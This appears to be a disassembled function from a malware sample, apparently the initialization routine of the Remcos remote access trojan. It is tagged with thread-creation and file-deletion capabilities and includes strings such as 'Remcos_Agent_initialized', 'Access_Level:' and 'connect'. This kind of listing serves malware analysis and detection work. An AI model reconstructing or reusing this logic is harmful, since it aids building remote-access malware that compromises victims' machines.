Function at 0x40a1f6
Capabilities:
Create thread
Delete file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword [ebp + 8]
sub esp, 0xfc
mov dword [0x465a84], eax
push ebx
push esi
push edi
call fcn.00414f0d
push 0x104
push 0x465a88
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x40]
call fcn.0040a62c
sub esp, 0x18
mov ecx, esp
push 0x467fb8
call fcn.00402200
sub esp, 0x18
lea eax, [esp + 0x70]
mov ecx, esp
push eax
call fcn.00402200
lea ecx, [esp + 0x54]
call fcn.004143a4
add esp, 0x30
push eax
call fcn.0040aa05
lea ecx, [esp + 0x24]
call fcn.0040351a
mov ecx, dword [ebp + 0x10]
cmp byte [ecx], 0x2d
jne 0x40a2c7
cmp byte [ecx + 1], 0x6c
jne 0x40a2c7
movzx eax, byte [ecx + 2]
test al, al
jne 0x40a2c7
push ecx
push ecx
push 2
push str.license_code.txt
lea ecx, [esp + 0x68]
call fcn.0040aaab
push 0x34
mov ecx, 0x467e6c
call fcn.004034ef
mov ecx, eax
call fcn.00402048
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0040be34
lea ecx, [esp + 0x58]
call fcn.0040aa5c
lea ecx, [esp + 0x58]
call fcn.0040a619
xor esi, esi
inc esi
jmp 0x40a34b
mov ebx, 0x467e6c
push 3
mov ecx, ebx
call fcn.004034ef
push str._nF2
push 0xe
mov ecx, ebx
call fcn.004034ef
push eax
mov edx, str.Software_
lea ecx, [esp + 0x14]
call fcn.00402ab1
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.00404824
pop ecx
push eax
mov ecx, 0x467f40
call fcn.004020bb
lea ecx, [esp + 0x24]
call fcn.004020b1
lea ecx, [esp + 0xc]
call fcn.004020b1
push 0xe
mov ecx, ebx
call fcn.004034ef
push eax
mov ecx, 0x467f70
call fcn.00402097
push 0x459e60
mov ecx, 0x467fd0
call fcn.00403f3f
call fcn.0040880f
test eax, eax
jne 0x40a35f
push 2
pop esi
lea ecx, [esp + 0x40]
call fcn.004020b1
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [0x467a24]
test eax, eax
je 0x40a36a
call eax
call fcn.004139c6
mov eax, dword [0x467a30]
test eax, eax
je 0x40a37f
call eax
mov dword [0x4649b0], eax
push 0xe
mov ecx, ebx
call fcn.004034ef
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00414245
push eax
mov ecx, 0x467f10
call fcn.004064f4
lea ecx, [esp + 0xc]
call fcn.0040351f
push 4
mov ecx, ebx
call fcn.004034ef
push 5
mov ecx, ebx
call fcn.004034ef
push 8
mov ecx, ebx
call fcn.004034ef
push 3
mov ecx, ebx
call fcn.004034ef
mov ecx, eax
call fcn.00402048
cmp byte [eax], 0
je 0x40a43e
push 0x30
mov ecx, ebx
call fcn.004034ef
mov ecx, eax
call fcn.00402048
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40a3ea
sub eax, edx
sar eax, 1
je 0x40a43e
push 9
mov ecx, ebx
call fcn.004034ef
mov ecx, eax
call fcn.00402048
push 0x30
mov ecx, ebx
mov esi, eax
call fcn.004034ef
mov ecx, eax
call fcn.00402048
mov dl, byte [esi]
lea ecx, [esp + 0xc]
push eax
call fcn.0040902f
pop ecx
push eax
mov ecx, 0x467f58
call fcn.004064f4
lea ecx, [esp + 0xc]
call fcn.0040351f
push 1
push 0x34
mov ecx, ebx
call fcn.004034ef
mov ecx, eax
call fcn.00402048
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402198
push str.licence
mov ecx, 0x467f40
call fcn.00402048
mov edx, eax
call fcn.0040d222
add esp, 0x20
mov ecx, ebx
push 0x28
call fcn.004034ef
mov ecx, eax
call fcn.00402048
push eax
call fcn.00433436
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov byte [0x465a79], al
pop ecx
cmp al, 2
jne 0x40a49e
mov cl, 1
jmp 0x40a4a4
cmp al, 1
jne 0x40a4b5
xor cl, cl
call fcn.004150f6
push edi
push edi
push edi
push 0x415930
push edi
push edi
call esi
sub esp, 0x18
mov ecx, esp
push str.Remcos_Agent_initialized
call fcn.00402198
sub esp, 0x18
mov ebx, 0x459450
mov ecx, esp
push ebx
call fcn.00402198
call fcn.00413bec
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00413d0a
push eax
mov ecx, 0x467fa0
call fcn.004064f4
lea ecx, [esp + 0xc]
call fcn.0040351f
mov eax, dword [0x467a28]
test eax, eax
je 0x40a505
push edi
call eax
push edi
push edi
push edi
push 0x40a6e0
push edi
push edi
call esi
mov eax, dword [0x4649b0]
sub eax, edi
je 0x40a526
sub eax, 1
jne 0x40a560
push str.Administrator
jmp 0x40a52b
push str.User
lea ecx, [esp + 0x10]
call fcn.00402198
sub esp, 0x18
mov edx, str.Access_Level:
mov ecx, esp
push eax
call fcn.00402a8d
sub esp, 0x14
mov ecx, esp
push ebx
call fcn.00402198
call fcn.00413bec
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.004020b1
mov ebx, 0x467f40
push 0x459eb0
mov ecx, ebx
call fcn.00402048
mov edx, eax
call fcn.0040cfac
pop ecx
test al, al
je 0x40a60e
push ecx
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.00414245
mov ecx, eax
call fcn.00404c62
push eax
lea ecx, [esp + 0x2c]
call fcn.0040d0c8
pop ecx
pop ecx
lea ecx, [esp + 0xc]
call fcn.0040351f
lea ecx, [esp + 0x24]
call fcn.00404c62
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40a5d1
cmp edi, 0xa
jge 0x40a5d8
push 0xa
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x24]
call fcn.00404c62
push eax
call esi
test eax, eax
je 0x40a5ba
push 0x459eb4
mov edx, ebx
lea ecx, [esp + 0x10]
call fcn.00414245
mov ecx, eax
call fcn.00404c62
mov edx, eax
mov ecx, connect
call fcn.0040d464
pop ecx
lea ecx, [esp + 0xc]
call fcn.0040351f
lea ecx, [esp + 0x24]
call fcn.0040351f
call fcn.0040931d
call fcn.0040e94f
int3